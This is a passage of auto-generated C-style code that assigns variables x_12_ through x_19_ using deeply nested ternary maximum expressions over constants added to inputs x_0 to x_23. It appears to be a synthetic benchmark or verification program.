((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))? (5.0 + x_14) : ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))) > ((20.0 + x_19) > ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22))? (20.0 + x_19) : ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22)))? ((5.0 + x_14) > ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))? (5.0 + x_14) : ((16.0 + x_16) > (7.0 + x_18)? (16.0 + x_16) : (7.0 + x_18))) : ((20.0 + x_19) > ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22))? (20.0 + x_19) : ((4.0 + x_20) > (3.0 + x_22)? (4.0 + x_20) : (3.0 + x_22))))); x_12_ = ((((6.0 + x_0) > ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))? (6.0 + x_0) : ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))) > ((10.0 + x_5) > ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9))? (10.0 + x_5) : ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9)))? ((6.0 + x_0) > ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))? (6.0 + x_0) : ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))) : ((10.0 + x_5) > ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9))? (10.0 + x_5) : ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9)))) > (((16.0 + x_11) > ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))? (16.0 + x_11) : ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))) > ((13.0 + x_18) > ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22))? (13.0 + x_18) : ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22)))? ((16.0 + x_11) > ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))? (16.0 + x_11) : ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))) : ((13.0 + x_18) > ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22))? (13.0 + x_18) : ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22))))? (((6.0 + x_0) > ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))? (6.0 + x_0) : ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))) > ((10.0 + x_5) > ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9))? (10.0 + x_5) : ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9)))? ((6.0 + x_0) > ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))? (6.0 + x_0) : ((9.0 + x_2) > (2.0 + x_4)? (9.0 + x_2) : (2.0 + x_4))) : ((10.0 + x_5) > ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9))? (10.0 + x_5) : ((11.0 + x_6) > (17.0 + x_9)? (11.0 + x_6) : (17.0 + x_9)))) : (((16.0 + x_11) > ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))? (16.0 + x_11) : ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))) > ((13.0 + x_18) > ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22))? (13.0 + x_18) : ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22)))? ((16.0 + x_11) > ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))? (16.0 + x_11) : ((3.0 + x_13) > (14.0 + x_15)? (3.0 + x_13) : (14.0 + x_15))) : ((13.0 + x_18) > ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22))? (13.0 + x_18) : ((5.0 + x_20) > (9.0 + x_22)? (5.0 + x_20) : (9.0 + x_22))))); x_13_ = ((((1.0 + x_0) > ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))? (1.0 + x_0) : ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))) > ((7.0 + x_9) > ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12))? (7.0 + x_9) : ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12)))? ((1.0 + x_0) > ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))? (1.0 + x_0) : ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))) : ((7.0 + x_9) > ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12))? (7.0 + x_9) : ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12)))) > (((20.0 + x_13) > ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))? (20.0 + x_13) : ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))) > ((8.0 + x_16) > ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20))? (8.0 + x_16) : ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20)))? ((20.0 + x_13) > ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))? (20.0 + x_13) : ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))) : ((8.0 + x_16) > ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20))? (8.0 + x_16) : ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20))))? (((1.0 + x_0) > ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))? (1.0 + x_0) : ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))) > ((7.0 + x_9) > ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12))? (7.0 + x_9) : ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12)))? ((1.0 + x_0) > ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))? (1.0 + x_0) : ((3.0 + x_2) > (8.0 + x_7)? (3.0 + x_2) : (8.0 + x_7))) : ((7.0 + x_9) > ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12))? (7.0 + x_9) : ((6.0 + x_10) > (8.0 + x_12)? (6.0 + x_10) : (8.0 + x_12)))) : (((20.0 + x_13) > ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))? (20.0 + x_13) : ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))) > ((8.0 + x_16) > ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20))? (8.0 + x_16) : ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20)))? ((20.0 + x_13) > ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))? (20.0 + x_13) : ((10.0 + x_14) > (3.0 + x_15)? (10.0 + x_14) : (3.0 + x_15))) : ((8.0 + x_16) > ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20))? (8.0 + x_16) : ((1.0 + x_19) > (17.0 + x_20)? (1.0 + x_19) : (17.0 + x_20))))); x_14_ = ((((1.0 + x_0) > ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))? (1.0 + x_0) : ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))) > ((2.0 + x_9) > ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12))? (2.0 + x_9) : ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12)))? ((1.0 + x_0) > ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))? (1.0 + x_0) : ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))) : ((2.0 + x_9) > ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12))? (2.0 + x_9) : ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12)))) > (((12.0 + x_14) > ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))? (12.0 + x_14) : ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))) > ((6.0 + x_17) > ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20))? (6.0 + x_17) : ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20)))? ((12.0 + x_14) > ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))? (12.0 + x_14) : ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))) : ((6.0 + x_17) > ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20))? (6.0 + x_17) : ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20))))? (((1.0 + x_0) > ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))? (1.0 + x_0) : ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))) > ((2.0 + x_9) > ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12))? (2.0 + x_9) : ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12)))? ((1.0 + x_0) > ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))? (1.0 + x_0) : ((16.0 + x_5) > (8.0 + x_7)? (16.0 + x_5) : (8.0 + x_7))) : ((2.0 + x_9) > ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12))? (2.0 + x_9) : ((3.0 + x_11) > (13.0 + x_12)? (3.0 + x_11) : (13.0 + x_12)))) : (((12.0 + x_14) > ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))? (12.0 + x_14) : ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))) > ((6.0 + x_17) > ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20))? (6.0 + x_17) : ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20)))? ((12.0 + x_14) > ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))? (12.0 + x_14) : ((3.0 + x_15) > (13.0 + x_16)? (3.0 + x_15) : (13.0 + x_16))) : ((6.0 + x_17) > ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20))? (6.0 + x_17) : ((13.0 + x_18) > (14.0 + x_20)? (13.0 + x_18) : (14.0 + x_20))))); x_15_ = ((((18.0 + x_0) > ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))? (18.0 + x_0) : ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))) > ((20.0 + x_5) > ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10))? (20.0 + x_5) : ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10)))? ((18.0 + x_0) > ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))? (18.0 + x_0) : ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))) : ((20.0 + x_5) > ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10))? (20.0 + x_5) : ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10)))) > (((8.0 + x_12) > ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))? (8.0 + x_12) : ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))) > ((14.0 + x_19) > ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22))? (14.0 + x_19) : ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22)))? ((8.0 + x_12) > ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))? (8.0 + x_12) : ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))) : ((14.0 + x_19) > ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22))? (14.0 + x_19) : ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22))))? (((18.0 + x_0) > ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))? (18.0 + x_0) : ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))) > ((20.0 + x_5) > ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10))? (20.0 + x_5) : ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10)))? ((18.0 + x_0) > ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))? (18.0 + x_0) : ((19.0 + x_1) > (9.0 + x_2)? (19.0 + x_1) : (9.0 + x_2))) : ((20.0 + x_5) > ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10))? (20.0 + x_5) : ((7.0 + x_9) > (18.0 + x_10)? (7.0 + x_9) : (18.0 + x_10)))) : (((8.0 + x_12) > ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))? (8.0 + x_12) : ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))) > ((14.0 + x_19) > ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22))? (14.0 + x_19) : ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22)))? ((8.0 + x_12) > ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))? (8.0 + x_12) : ((1.0 + x_17) > (12.0 + x_18)? (1.0 + x_17) : (12.0 + x_18))) : ((14.0 + x_19) > ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22))? (14.0 + x_19) : ((18.0 + x_20) > (3.0 + x_22)? (18.0 + x_20) : (3.0 + x_22))))); x_16_ = ((((17.0 + x_2) > ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))? (17.0 + x_2) : ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))) > ((16.0 + x_7) > ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11))? (16.0 + x_7) : ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11)))? ((17.0 + x_2) > ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))? (17.0 + x_2) : ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))) : ((16.0 + x_7) > ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11))? (16.0 + x_7) : ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11)))) > (((11.0 + x_13) > ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))? (11.0 + x_13) : ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))) > ((19.0 + x_18) > ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21))? (19.0 + x_18) : ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21)))? ((11.0 + x_13) > ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))? (11.0 + x_13) : ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))) : ((19.0 + x_18) > ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21))? (19.0 + x_18) : ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21))))? (((17.0 + x_2) > ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))? (17.0 + x_2) : ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))) > ((16.0 + x_7) > ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11))? (16.0 + x_7) : ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11)))? ((17.0 + x_2) > ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))? (17.0 + x_2) : ((7.0 + x_4) > (8.0 + x_5)? (7.0 + x_4) : (8.0 + x_5))) : ((16.0 + x_7) > ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11))? (16.0 + x_7) : ((6.0 + x_10) > (9.0 + x_11)? (6.0 + x_10) : (9.0 + x_11)))) : (((11.0 + x_13) > ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))? (11.0 + x_13) : ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))) > ((19.0 + x_18) > ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21))? (19.0 + x_18) : ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21)))? ((11.0 + x_13) > ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))? (11.0 + x_13) : ((15.0 + x_16) > (7.0 + x_17)? (15.0 + x_16) : (7.0 + x_17))) : ((19.0 + x_18) > ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21))? (19.0 + x_18) : ((7.0 + x_19) > (17.0 + x_21)? (7.0 + x_19) : (17.0 + x_21))))); x_17_ = ((((9.0 + x_0) > ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))? (9.0 + x_0) : ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))) > ((11.0 + x_3) > ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8))? (11.0 + x_3) : ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8)))? ((9.0 + x_0) > ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))? (9.0 + x_0) : ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))) : ((11.0 + x_3) > ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8))? (11.0 + x_3) : ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8)))) > (((10.0 + x_13) > ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))? (10.0 + x_13) : ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))) > ((20.0 + x_16) > ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22))? (20.0 + x_16) : ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22)))? ((10.0 + x_13) > ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))? (10.0 + x_13) : ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))) : ((20.0 + x_16) > ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22))? (20.0 + x_16) : ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22))))? (((9.0 + x_0) > ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))? (9.0 + x_0) : ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))) > ((11.0 + x_3) > ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8))? (11.0 + x_3) : ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8)))? ((9.0 + x_0) > ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))? (9.0 + x_0) : ((6.0 + x_1) > (19.0 + x_2)? (6.0 + x_1) : (19.0 + x_2))) : ((11.0 + x_3) > ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8))? (11.0 + x_3) : ((1.0 + x_7) > (19.0 + x_8)? (1.0 + x_7) : (19.0 + x_8)))) : (((10.0 + x_13) > ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))? (10.0 + x_13) : ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))) > ((20.0 + x_16) > ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22))? (20.0 + x_16) : ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22)))? ((10.0 + x_13) > ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))? (10.0 + x_13) : ((6.0 + x_14) > (12.0 + x_15)? (6.0 + x_14) : (12.0 + x_15))) : ((20.0 + x_16) > ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22))? (20.0 + x_16) : ((16.0 + x_18) > (6.0 + x_22)? (16.0 + x_18) : (6.0 + x_22))))); x_18_ = ((((9.0 + x_0) > ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))? (9.0 + x_0) : ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))) > ((13.0 + x_4) > ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8))? (13.0 + x_4) : ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8)))? ((9.0 + x_0) > ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))? (9.0 + x_0) : ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))) : ((13.0 + x_4) > ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8))? (13.0 + x_4) : ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8)))) > (((2.0 + x_9) > ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))? (2.0 + x_9) : ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))) > ((11.0 + x_19) > ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23))? (11.0 + x_19) : ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23)))? ((2.0 + x_9) > ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))? (2.0 + x_9) : ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))) : ((11.0 + x_19) > ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23))? (11.0 + x_19) : ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23))))? (((9.0 + x_0) > ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))? (9.0 + x_0) : ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))) > ((13.0 + x_4) > ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8))? (13.0 + x_4) : ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8)))? ((9.0 + x_0) > ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))? (9.0 + x_0) : ((5.0 + x_2) > (11.0 + x_3)? (5.0 + x_2) : (11.0 + x_3))) : ((13.0 + x_4) > ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8))? (13.0 + x_4) : ((13.0 + x_5) > (2.0 + x_8)? (13.0 + x_5) : (2.0 + x_8)))) : (((2.0 + x_9) > ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))? (2.0 + x_9) : ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))) > ((11.0 + x_19) > ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23))? (11.0 + x_19) : ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23)))? ((2.0 + x_9) > ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))? (2.0 + x_9) : ((4.0 + x_13) > (15.0 + x_18)? (4.0 + x_13) : (15.0 + x_18))) : ((11.0 + x_19) > ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23))? (11.0 + x_19) : ((16.0 + x_20) > (7.0 + x_23)? (16.0 + x_20) : (7.0 + x_23))))); x_19_ = ((((17.0 + x_1) > ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))? (17.0 + x_1) : ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))) > ((14.0 + x_9) > ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15))? (14.0 + x_9) : ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15)))? ((17.0 + x_1) > ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))? (17.0 + x_1) : ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))) : ((14.0 + x_9) > ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15))? (14.0 + x_9) : ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15)))) > (((18.0 + x_17) > ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))? (18.0 + x_17) : ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))) > ((4.0 + x_21) > ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23))? (4.0 + x_21) : ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23)))? ((18.0 + x_17) > ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))? (18.0 + x_17) : ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))) : ((4.0 + x_21) > ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23))? (4.0 + x_21) : ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23))))? (((17.0 + x_1) > ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))? (17.0 + x_1) : ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))) > ((14.0 + x_9) > ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15))? (14.0 + x_9) : ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15)))? ((17.0 + x_1) > ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))? (17.0 + x_1) : ((19.0 + x_3) > (1.0 + x_5)? (19.0 + x_3) : (1.0 + x_5))) : ((14.0 + x_9) > ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15))? (14.0 + x_9) : ((17.0 + x_14) > (18.0 + x_15)? (17.0 + x_14) : (18.0 + x_15)))) : (((18.0 + x_17) > ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))? (18.0 + x_17) : ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))) > ((4.0 + x_21) > ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23))? (4.0 + x_21) : ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23)))? ((18.0 + x_17) > ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))? (18.0 + x_17) : ((6.0 + x_18) > (20.0 + x_20)? (6.0 + x_18) : (20.0 + x_20))) : ((4.0 